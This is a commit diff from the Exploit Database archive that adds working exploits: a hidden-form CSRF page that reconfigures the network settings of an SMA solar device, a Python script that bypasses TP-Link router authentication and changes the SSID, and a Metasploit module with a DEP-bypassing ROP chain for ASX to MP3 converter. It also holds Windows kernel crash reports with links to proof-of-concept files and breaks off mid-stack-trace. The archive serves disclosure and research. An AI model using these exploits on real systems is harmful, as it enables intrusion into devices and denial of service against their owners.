DB: 2019-10-11
10 changes to exploits/shellcodes Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (Metasploit_ DEP Bypass) freeFTP 1.0.8 - Remote Buffer Overflow freeFTP 1.0.8 - 'PASS' Remote Buffer Overflow SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery TP-Link TL-WR1043ND 2 - Authentication Bypass Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes)
This commit is contained in:
Offensive Security
parent
da622bb1aa
commit
c4b3e48aea
12 changed files with 861 additions and 1 deletions
28
exploits/hardware/webapps/47480.txt
Normal file
28
exploits/hardware/webapps/47480.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
# Exploit Title: SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery
|
||||
# Date: 2019-10-08
|
||||
# Exploit Author: Borja Merino and Eduardo Villaverde
|
||||
# Vendor Homepage: https://www.sma.de
|
||||
# Version: Firmware Version 1.6 and prior
|
||||
# Tested on: Sunny WebBox SMA Solar Device (Firmware Version 1.6)
|
||||
# CVE : CVE-2019-13529
|
||||
# ICS-Cert Advisory: https://www.us-cert.gov/ics/advisories/icsa-19-281-01
|
||||
|
||||
<!-- Change any hidden value -->
|
||||
|
||||
<iframe style="display:none" name="csrf-frame"></iframe>
|
||||
<form method='POST' action='http://X.X.X.X/wb_network_changed.htm' target="csrf-frame" id="csrf-form">
|
||||
<input type='hidden' name='RadioButtonDhcp' value='off'>
|
||||
<input type='hidden' name='IpAddr' value='1.1.1.1'>
|
||||
<input type='hidden' name='SubnetMask' value='255.255.255.0'>
|
||||
<input type='hidden' name='Gateway' value='1.1.1.1'>
|
||||
<input type='hidden' name='DnsIpAddr' value='5.5.5.1'>
|
||||
<input type='hidden' name='Dns2IpAddr' value='5.5.5.2'>
|
||||
<input type='hidden' name='StaticNatPortHttp' value='80'>
|
||||
<input type='hidden' name='WebserverPort' value='80'>
|
||||
<input type='hidden' name='WebservicePort' value='80'>
|
||||
<input type='hidden' name='RadioButtonModbus' value='off'>
|
||||
<input type='hidden' name='ModbusPort' value='502'>
|
||||
<input type='hidden' name='BConfirm' value='Confirmar'>
|
||||
<input type='submit' value='submit'>
|
||||
</form>
|
||||
<script>document.getElementById("csrf-form").submit()</script>
|
||||
72
exploits/hardware/webapps/47483.py
Executable file
72
exploits/hardware/webapps/47483.py
Executable file
|
|
@ -0,0 +1,72 @@
|
|||
# Exploit Title: TP-Link TL-WR1043ND 2 - Authentication Bypass
|
||||
# Date: 2019-06-20
|
||||
# Exploit Author: Uriel Kosayev
|
||||
# Vendor Homepage: https://www.tp-link.com
|
||||
# Version: TL-WR1043ND V2
|
||||
# Tested on: TL-WR1043ND V2
|
||||
# CVE : CVE-2019-6971
|
||||
# CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-6971
|
||||
|
||||
import requests
|
||||
|
||||
ascii = '''
|
||||
__________ __ _ __
|
||||
/_ __/ __ \ / / (_)___ / /__
|
||||
/ / / /_/ /_____/ / / / __ \/ //_/
|
||||
/ / / ____/_____/ /___/ / / / / ,<
|
||||
/_/ /_/ /_____/_/_/ /_/_/|_|
|
||||
|
||||
'''
|
||||
print(ascii)
|
||||
Default_Gateway = raw_input("Enter your TP-Link router IP: ")
|
||||
|
||||
# Constants
|
||||
url = 'http://'
|
||||
url2 = '/userRpm/LoginRpm.htm?Save=Save'
|
||||
full = url + Default_Gateway + url2
|
||||
# full = str(full)
|
||||
|
||||
# The full GET request with the cookie authorization hijacked
|
||||
req_header = {
|
||||
'Host': '{}'.format(Default_Gateway),
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Referer': 'http://{}/userRpm/LoginRpm.htm?Save=Save'.format(Default_Gateway),
|
||||
'Connection': 'close',
|
||||
'Cookie': '''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D''',
|
||||
'Upgrade-Insecure-Requests': '1'
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.get(full, headers=req_header).content
|
||||
except requests.exceptions.ConnectionError:
|
||||
print("Enter a valid Default Gateway IP address\nExiting...")
|
||||
exit()
|
||||
generate = response.split('/')[3] # Gets the randomized URL "session ID"
|
||||
|
||||
|
||||
option_1 = input("Press 1 to check if your TP-Link router is vulnerable: ")
|
||||
|
||||
if option_1 is 1:
|
||||
|
||||
if generate in response:
|
||||
print('Vulnerable!\n')
|
||||
option_2 = input('Press 2 if you want to change the router\'s SSID or any other key to quit: ')
|
||||
if option_2 is 2:
|
||||
newssid = raw_input('New name: ')
|
||||
ssid_url = '/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4®ion=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'.format(
|
||||
newssid)
|
||||
changessid_full = url + Default_Gateway + '/' + generate + ssid_url
|
||||
requests.get(changessid_full, headers=req_header)
|
||||
print('Changed to: {}'.format(newssid))
|
||||
else:
|
||||
("Please choose the correct option.\nExiting...")
|
||||
exit()
|
||||
else:
|
||||
print('Not Vulnerable')
|
||||
exit()
|
||||
else:
|
||||
print("Please choose the correct option.\nExiting...")
|
||||
exit()
|
||||
134
exploits/linux/local/47482.rb
Executable file
134
exploits/linux/local/47482.rb
Executable file
|
|
@ -0,0 +1,134 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)",
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in ASX to MP3 converter 3.1.3.7.
|
||||
By constructing a specially crafted ASX file and attempting to convert it to an MP3 file in the
|
||||
application, a buffer is overwritten, which allows for running shellcode.
|
||||
Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
|
||||
Microsoft Windows 10 Pro, 10.0.18362 N/A Build 18362, x64-based PC
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Maxim Guslyaev', # EDB POC, Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-15221' ],
|
||||
[ 'EDB', '47468' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows 7 Enterprise/10 Pro',
|
||||
{
|
||||
'Ret' => 0x1002D038 # RET
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x09\x0a"
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Oct 06 2019",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The malicious file name', 'music.asx'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
buf = "http://"
|
||||
buf += "A" * 17417 + [target.ret].pack("V") + "CCCC"
|
||||
|
||||
## Save allocation type (0x1000) in EDX
|
||||
buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN
|
||||
buf += [0x11111111].pack("V")
|
||||
buf += [0x10029B8C].pack("V") # XOR EDX,EDX # RETN
|
||||
buf += [0x1002D493].pack("V") # POP EDX # RETN
|
||||
buf += [0xEEEEFEEF].pack("V")
|
||||
buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN
|
||||
buf += [0x41414141].pack("V")
|
||||
|
||||
## Save the address of VirtualAlloc() in ESI
|
||||
buf += [0x1002fade].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll]
|
||||
buf += [0x1004f060].pack("V") # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
|
||||
buf += [0x1003239f].pack("V") # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
|
||||
buf += [0x10040754].pack("V") # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
|
||||
buf += [0x41414141].pack("V")
|
||||
buf += [0x41414141].pack("V")
|
||||
|
||||
## Save the size of the block in EBX
|
||||
buf += [0x1004d881].pack("V") # XOR EAX,EAX # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
|
||||
buf += [0x10034735].pack("V") # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN
|
||||
|
||||
## Save the address of (# ADD ESP,8 # RETN) in EBP
|
||||
buf += [0x10031c6c].pack("V") # POP EBP # RETN
|
||||
buf += [0x10012316].pack("V") # ADD ESP,8 # RETN
|
||||
#buf += [0x1003df73].pack("V") # & PUSH ESP # RETN
|
||||
|
||||
## Save memory protection code (0x40) in ECX
|
||||
buf += [0x1002ca22].pack("V") # POP ECX # RETN
|
||||
buf += [0xFFFFFFFF].pack("V")
|
||||
buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN
|
||||
buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN
|
||||
buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
|
||||
buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
|
||||
buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
|
||||
buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
|
||||
buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
|
||||
buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
|
||||
|
||||
## Save ROP-NOP in EDI
|
||||
buf += [0x1002e346].pack("V") # POP EDI # RETN
|
||||
buf += [0x1002D038].pack("V") # RETN
|
||||
|
||||
## Save NOPs in EAX
|
||||
#buf += [0x1003bca4].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll]
|
||||
#buf += [0x90909090].pack("V") # nop
|
||||
|
||||
## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
|
||||
buf += [0x1002E516].pack("V") # POP EAX # RETN
|
||||
buf += [0xA4E2F275].pack("V")
|
||||
buf += [0x1003efe2].pack("V") # ADD EAX,5B5D5E5F # RETN
|
||||
buf += [0x10040ce5].pack("V") # PUSH EAX # RETN
|
||||
|
||||
buf += "\x90" * 4
|
||||
buf += [0x1003df73].pack("V") # & PUSH ESP # RETN
|
||||
buf += "\x90" * 20
|
||||
buf += payload.encoded
|
||||
|
||||
file_create(buf)
|
||||
|
||||
end
|
||||
end
|
||||
81
exploits/windows/dos/47484.txt
Normal file
81
exploits/windows/dos/47484.txt
Normal file
|
|
@ -0,0 +1,81 @@
|
|||
We have encountered a Windows kernel crash in the win32k.sys driver while processing a corrupted TTF font file. An example crash log excerpt generated after triggering the bug is shown below:
|
||||
|
||||
--- cut ---
|
||||
*** Fatal System Error: 0x00000050
|
||||
(0xFFFFF900C1E1C003,0x0000000000000001,0xFFFFF9600006D2A8,0x0000000000000000)
|
||||
|
||||
Driver at fault:
|
||||
*** win32k.sys - Address FFFFF9600006D2A8 base at FFFFF96000010000, DateStamp 5d0c4490
|
||||
|
||||
[...]
|
||||
|
||||
1: kd> !analyze -v
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Bugcheck Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
Invalid system memory was referenced. This cannot be protected by try-except.
|
||||
Typically the address is just plain bad or it is pointing at freed memory.
|
||||
Arguments:
|
||||
Arg1: fffff900c1e1c003, memory referenced.
|
||||
Arg2: 0000000000000001, value 0 = read operation, 1 = write operation.
|
||||
Arg3: fffff9600006d2a8, If non-zero, the instruction address which referenced the bad memory
|
||||
address.
|
||||
Arg4: 0000000000000000, (reserved)
|
||||
|
||||
[...]
|
||||
|
||||
TRAP_FRAME: fffff880082791f0 -- (.trap 0xfffff880082791f0)
|
||||
NOTE: The trap frame does not contain all registers.
|
||||
Some register values may be zeroed or incorrect.
|
||||
rax=0000000000000000 rbx=0000000000000000 rcx=fffff900c1e1bfb8
|
||||
rdx=000000000000000a rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff9600006d2a8 rsp=fffff88008279380 rbp=000000000000000c
|
||||
r8=fffff960002f5750 r9=0000000000000002 r10=fffff900c1e1bfe9
|
||||
r11=fffff900c1e1bff3 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei pl nz na po nc
|
||||
win32k!ulClearTypeFilter+0x214:
|
||||
fffff960`0006d2a8 8807 mov byte ptr [rdi],al ds:00000000`00000000=??
|
||||
Resetting default scope
|
||||
|
||||
LAST_CONTROL_TRANSFER: from fffff80002b65a22 to fffff80002ab1520
|
||||
|
||||
STACK_TEXT:
|
||||
fffff880`08278928 fffff800`02b65a22 : fffff900`c1e1c003 fffffa80`310f1b50 00000000`00000065 fffff800`02a82658 : nt!RtlpBreakWithStatusInstruction
|
||||
fffff880`08278930 fffff800`02b66812 : fffff880`00000003 fffff880`082791f0 fffff800`02aba420 fffff880`08278f90 : nt!KiBugCheckDebugBreak+0x12
|
||||
fffff880`08278990 fffff800`02aaada4 : 00000000`00000068 fffff880`08279450 00000000`00010000 00000000`00000000 : nt!KeBugCheck2+0x722
|
||||
fffff880`08279060 fffff800`02b847b2 : 00000000`00000050 fffff900`c1e1c003 00000000`00000001 fffff880`082791f0 : nt!KeBugCheckEx+0x104
|
||||
fffff880`082790a0 fffff800`02ab6ddc : 00000000`00000001 fffff900`c1e1c003 00000000`00000000 fffff900`c1e1bf94 : nt!MmAccessFault+0x2322
|
||||
fffff880`082791f0 fffff960`0006d2a8 : 00000000`00000000 fffff800`00000001 fffff880`08279450 fffff900`c1e1bf94 : nt!KiPageFault+0x35c
|
||||
fffff880`08279380 fffff960`0007097a : fffff900`c1a40010 fffff900`c1a40010 fffff880`08279928 00000000`00000002 : win32k!ulClearTypeFilter+0x214
|
||||
fffff880`08279400 fffff960`0006ce00 : fffff880`0827b67b fffff880`08279928 fffff900`c1b71010 fffff960`00000b70 : win32k!xInsertMetricsPlusRFONTOBJ+0x20e
|
||||
fffff880`082794d0 fffff960`0006caa0 : fffff880`08279a00 fffff880`08279928 00000000`00000000 00000000`0000000a : win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x1f0
|
||||
fffff880`08279550 fffff960`0006c498 : 00000000`00000000 fffff880`082796f0 fffff900`c00cb010 00000000`00000008 : win32k!ESTROBJ::vCharPos_H3+0x168
|
||||
fffff880`082795d0 fffff960`0006d955 : 00000000`41800000 00000000`00000000 00000000`00000007 fffff880`082796f0 : win32k!ESTROBJ::vInit+0x350
|
||||
fffff880`08279660 fffff960`0006d5f7 : fffff880`08279b60 fffff900`c1a40010 fffffa80`00000020 00000000`ffffffff : win32k!GreGetTextExtentExW+0x275
|
||||
fffff880`08279920 fffff800`02ab8d53 : 00000000`5a010611 fffff880`00000b40 00000000`00000040 00000000`00000000 : win32k!NtGdiGetTextExtentExW+0x237
|
||||
fffff880`08279a70 00000000`74da204a : 00000000`74d8c46f 00000000`00010000 00000000`74d8b947 00000000`002ff888 : nt!KiSystemServiceCopyEnd+0x13
|
||||
00000000`001adca8 00000000`74d8c46f : 00000000`00010000 00000000`74d8b947 00000000`002ff888 00000000`75ad5600 : wow64win!NtGdiGetTextExtentExW+0xa
|
||||
00000000`001adcb0 00000000`74dcd18f : 00000000`002ff88c 00000000`7efdb000 00000000`7efdb000 00000000`7efdd000 : wow64win!whNtGdiGetTextExtentExW+0x43
|
||||
00000000`001add00 00000000`74d52776 : 00000000`779a01e4 00000000`74dc0023 00000000`00000246 00000000`002ffeec : wow64!Wow64SystemServiceEx+0xd7
|
||||
00000000`001ae5c0 00000000`74dcd286 : 00000000`00000000 00000000`74d51920 00000000`777d3128 00000000`7780c4f1 : wow64cpu!ServiceNoTurbo+0x2d
|
||||
00000000`001ae680 00000000`74dcc69e : 00000000`00000000 00000000`00000000 00000000`74dc4b10 00000000`7ffe0030 : wow64!RunCpuSimulation+0xa
|
||||
00000000`001ae6d0 00000000`778043c3 : 00000000`004f2d50 00000000`00000000 00000000`77902e70 00000000`777d7550 : wow64!Wow64LdrpInitialize+0x42a
|
||||
00000000`001aec20 00000000`77869780 : 00000000`00000000 00000000`77876c7d 00000000`001af1d0 00000000`00000000 : ntdll!LdrpInitializeProcess+0x17e3
|
||||
00000000`001af110 00000000`7781371e : 00000000`001af1d0 00000000`00000000 00000000`7efdf000 00000000`00000000 : ntdll! ?? ::FNODOBFM::`string'+0x22790
|
||||
00000000`001af180 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe
|
||||
--- cut ---
|
||||
|
||||
The type of the bugcheck implies a pool-based buffer overflow, potentially allowing for remote code execution in the context of the Windows kernel. While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "glyf", "hmtx" and "prep" tables.
|
||||
|
||||
The issue reproduces on Windows 7 and Windows Server 2008 R2 (64-bit), with and without Special Pools enabled for win32k.sys.
|
||||
|
||||
Attached is an archive with the proof-of-concept mutated TTF file, the original font used to generate it and the source code of a simple harness program, which loads the given font and displays all of its glyphs at different point sizes on the screen. Running the harness against the provided font is required to trigger the crash, and it only occurs after a few seconds (while processing the 2nd LOGFONT).
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47484.zip
|
||||
80
exploits/windows/dos/47485.txt
Normal file
80
exploits/windows/dos/47485.txt
Normal file
|
|
@ -0,0 +1,80 @@
|
|||
We have encountered a Windows kernel crash in nt!MiOffsetToProtos while trying to load a malformed PE image into the process address space as a data file (i.e. LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE)). An example crash log generated after triggering the bug is shown below:
|
||||
|
||||
--- cut ---
|
||||
*** Fatal System Error: 0x0000003b
|
||||
(0x00000000C0000005,0xFFFFF8006F0860C4,0xFFFFD20AD8E1E290,0x0000000000000000)
|
||||
|
||||
Break instruction exception - code 80000003 (first chance)
|
||||
|
||||
A fatal system error has occurred.
|
||||
Debugger entered on first try; Bugcheck callbacks have not been invoked.
|
||||
|
||||
A fatal system error has occurred.
|
||||
|
||||
For analysis of this file, run !analyze -v
|
||||
nt!DbgBreakPointWithStatus:
|
||||
fffff800`6f1c46a0 cc int 3
|
||||
1: kd> !analyze -v
|
||||
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Bugcheck Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
SYSTEM_SERVICE_EXCEPTION (3b)
|
||||
An exception happened while executing a system service routine.
|
||||
Arguments:
|
||||
Arg1: 00000000c0000005, Exception code that caused the bugcheck
|
||||
Arg2: fffff8006f0860c4, Address of the instruction which caused the bugcheck
|
||||
Arg3: ffffd20ad8e1e290, Address of the context record for the exception that caused the bugcheck
|
||||
Arg4: 0000000000000000, zero.
|
||||
|
||||
[...]
|
||||
|
||||
CONTEXT: ffffd20ad8e1e290 -- (.cxr 0xffffd20ad8e1e290)
|
||||
rax=00000000000000a2 rbx=ffffab829154f420 rcx=0000000000000000
|
||||
rdx=0000000000000002 rsi=0000000000000000 rdi=ffffab828fb6f690
|
||||
rip=fffff8006f0860c4 rsp=ffffd20ad8e1ec80 rbp=000000000000000b
|
||||
r8=ffffd20ad8e1ed90 r9=ffffab828fb6f690 r10=ffffab828fb6f690
|
||||
r11=ffffe601c2e7f7b0 r12=0000000001000000 r13=0000000000000002
|
||||
r14=000000000000a008 r15=ffffd20ad8e1ed90
|
||||
iopl=0 nv up ei pl zr na po nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
|
||||
nt!MiOffsetToProtos+0x324:
|
||||
fffff800`6f0860c4 8b562c mov edx,dword ptr [rsi+2Ch] ds:002b:00000000`0000002c=????????
|
||||
Resetting default scope
|
||||
|
||||
[...]
|
||||
|
||||
STACK_TEXT:
|
||||
ffffd20a`d8e1ec80 fffff800`6f62a3f9 : ffffab82`8fb6f6d0 ffffab82`9154f420 00000000`00000048 ffffab82`8fb6f690 : nt!MiOffsetToProtos+0x324
|
||||
ffffd20a`d8e1ed60 fffff800`6f6d6105 : ffffab82`9154f420 ffffd20a`d8e1efb0 ffffd20a`d8e1ef50 00000000`0000b000 : nt!MiLogRelocationRva+0x29
|
||||
ffffd20a`d8e1edb0 fffff800`6f5fc56a : ffffd20a`d8e1f180 ffffd20a`d8e1f180 ffffd20a`d8e1efb0 ffffd20a`d8e1f180 : nt!MiParseComImage+0xd9
|
||||
ffffd20a`d8e1eeb0 fffff800`6f5dca20 : ffffab82`9154f420 ffffd20a`d8e1f180 ffffd20a`d8e1f180 ffffab82`9154f3f0 : nt!MiCreateNewSection+0x2b6
|
||||
ffffd20a`d8e1f010 fffff800`6f5dcd24 : ffffd20a`d8e1f040 ffffe601`c3b87f40 ffffab82`9154f420 00000000`00000000 : nt!MiCreateImageOrDataSection+0x2d0
|
||||
ffffd20a`d8e1f100 fffff800`6f5dc37f : 00000000`11000000 ffffd20a`d8e1f4c0 00000000`00000001 00000000`00000002 : nt!MiCreateSection+0xf4
|
||||
ffffd20a`d8e1f280 fffff800`6f5dc110 : 00000005`e1478f48 00000000`00000005 00000000`00000000 00000000`00000001 : nt!MiCreateSectionCommon+0x1ff
|
||||
ffffd20a`d8e1f360 fffff800`6f1ce115 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtCreateSection+0x60
|
||||
ffffd20a`d8e1f3d0 00007ffb`2815c9a4 : 00007ffb`25251ae7 00000000`00000000 00000000`00000001 40b28496`f324e4f9 : nt!KiSystemServiceCopyEnd+0x25
|
||||
00000005`e1478ed8 00007ffb`25251ae7 : 00000000`00000000 00000000`00000001 40b28496`f324e4f9 feafc9c1`1796ffa1 : ntdll!NtCreateSection+0x14
|
||||
00000005`e1478ee0 00007ffb`25255640 : 0000019b`db947d00 00000024`00000000 00007ffb`26202770 00000000`00000022 : KERNELBASE!BasepLoadLibraryAsDataFileInternal+0x2e7
|
||||
00000005`e1479110 00007ffb`2523c41d : 0000019b`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNELBASE!LoadLibraryExW+0xe0
|
||||
00000005`e1479180 00007ffb`272503d1 : 0000019b`db9497c0 00000000`00000000 0000019b`db948c30 00007ffb`27266d85 : KERNELBASE!GetFileVersionInfoSizeExW+0x3d
|
||||
00000005`e14791e0 00007ffb`2725035c : 00000000`00000000 00007ffb`257610ff 0000019b`db9497c0 00000005`e1479530 : shell32!_LoadVersionInfo+0x39
|
||||
00000005`e1479250 00007ffb`257dc1c1 : 00000000`00000000 00000000`00000000 ffffffff`fffffffe 00000000`00000000 : shell32!CVersionPropertyStore::Initialize+0x2c
|
||||
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
The direct cause of the crash is an attempt to read from a near-zero address. As the address does not seem to be controlled, and NULL page mappings are prohibited in modern systems (except for when NTVDM is enabled on 32-bit platforms), we classify it as a Denial of Service vulnerability.
|
||||
|
||||
We have not determined the specific root cause of the issue, but we have found that it is related to the processing of .NET executables. We have minimized one of the crashing samples down to a 2-byte difference in relation to the original file: one which increases the value of the SizeOfImage field from 0xa000 to 0xa100, and one that changes the CLR Runtime Header data directory address from 0x2008 to 0xa008.
|
||||
|
||||
The issue reproduces on Windows 10 and Windows Server 2019 (32-bit and 64-bit, Special Pools not required). The crash occurs when any system component calls LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE) against the file, either directly or through another API such as GetFileVersionInfoSizeExW() or GetFileVersionInfoW(). In practice, this means that as soon as the file is displayed in Explorer, or the user hovers the cursor over it, or tries to open the file properties, or tries to rename it or perform any other similar action, the system will panic. In other words, just downloading such a file may permanently block the user's machine until they remove it through Recovery Mode etc. The attack scenario is similar to the one described in https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html.
|
||||
|
||||
Attached is an archive with a minimized proof-of-concept PE image, the original file used to generate it, and three additional non-minimized samples. Please be careful when unpacking the ZIP as Windows may crash immediately once it sees the corrupted files on disk.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47485.zip
|
||||
92
exploits/windows/dos/47486.txt
Normal file
92
exploits/windows/dos/47486.txt
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
We have encountered a Windows kernel crash in CI!CipFixImageType while trying to load a malformed PE image into the process address space as a data file (i.e. LoadLibraryEx(LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE)). An example crash log generated after triggering the bug is shown below:
|
||||
|
||||
--- cut ---
|
||||
*** Fatal System Error: 0x00000050
|
||||
(0xFFFFF8007B6E00AC,0x0000000000000000,0xFFFFF80079A7E5C1,0x0000000000000000)
|
||||
|
||||
Driver at fault:
|
||||
*** CI.dll - Address FFFFF80079A7E5C1 base at FFFFF80079A30000, DateStamp 8581dc0d
|
||||
.
|
||||
Break instruction exception - code 80000003 (first chance)
|
||||
|
||||
A fatal system error has occurred.
|
||||
Debugger entered on first try; Bugcheck callbacks have not been invoked.
|
||||
|
||||
A fatal system error has occurred.
|
||||
|
||||
[...]
|
||||
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Bugcheck Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
Invalid system memory was referenced. This cannot be protected by try-except.
|
||||
Typically the address is just plain bad or it is pointing at freed memory.
|
||||
Arguments:
|
||||
Arg1: fffff8007b6e00ac, memory referenced.
|
||||
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
|
||||
Arg3: fffff80079a7e5c1, If non-zero, the instruction address which referenced the bad memory
|
||||
address.
|
||||
Arg4: 0000000000000000, (reserved)
|
||||
|
||||
[...]
|
||||
|
||||
TRAP_FRAME: fffffa8375df1860 -- (.trap 0xfffffa8375df1860)
|
||||
NOTE: The trap frame does not contain all registers.
|
||||
Some register values may be zeroed or incorrect.
|
||||
rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000
|
||||
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff80079a7e5c1 rsp=fffffa8375df19f0 rbp=fffffa8375df1b30
|
||||
r8=00000000000000c0 r9=fffff8007b6d0080 r10=0000000000000004
|
||||
r11=fffff8007b6e0070 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz ac po cy
|
||||
CI!CipFixImageType+0x9d:
|
||||
fffff800`79a7e5c1 418b44cb3c mov eax,dword ptr [r11+rcx*8+3Ch] ds:fffff800`7b6e00ac=????????
|
||||
Resetting default scope
|
||||
|
||||
LAST_CONTROL_TRANSFER: from fffff80077ea6642 to fffff80077dc46a0
|
||||
|
||||
STACK_TEXT:
|
||||
fffffa83`75df0e18 fffff800`77ea6642 : fffff800`7b6e00ac 00000000`00000003 fffffa83`75df0f80 fffff800`77d22be0 : nt!DbgBreakPointWithStatus
|
||||
fffffa83`75df0e20 fffff800`77ea5d32 : fffff800`00000003 fffffa83`75df0f80 fffff800`77dd0fb0 fffffa83`75df14c0 : nt!KiBugCheckDebugBreak+0x12
|
||||
